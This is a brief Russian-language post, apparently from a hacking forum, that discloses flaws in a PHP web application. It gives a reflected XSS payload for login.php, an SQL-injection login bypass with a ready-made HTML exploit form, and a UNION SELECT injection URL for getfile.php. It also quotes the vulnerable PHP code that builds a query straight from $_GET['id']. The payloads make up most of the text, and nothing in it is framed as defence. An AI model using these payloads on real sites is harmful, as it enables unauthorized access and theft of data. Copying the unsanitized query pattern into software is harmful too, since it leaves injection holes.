Пассивная XSS:

Цитата:

/login.php?error=%3Cscript%3Ealert();%3C/script%3E

Auth ByPass
/login.php
В Anmeldename:
1' or 1=1 /*
Passwort:
12345
Exploit:

PHP код:

<form method="post" action="http://site.com/login.php">
<input name="name" type="text" value="1' or 1=1 -- " />
<input name="pw" type="password" value="Ulalala"/>
<input name="login" type="submit" value="Login" /> 


SQL Inj:

Цитата:

/bb/getfile.php?id=-1+union+select+1,2,3,4,5,6,7,8+--+

Code:

PHP код:

if(isset($_GET['id']) && isset($_SESSION['ID_user']))
{
    include_once('utils/dbcon.php');
    $con = new DBcon();
    $con->AddSQL("SELECT * FROM file ");
    $con->AddSQL("WHERE ID_file=".$_GET['id']);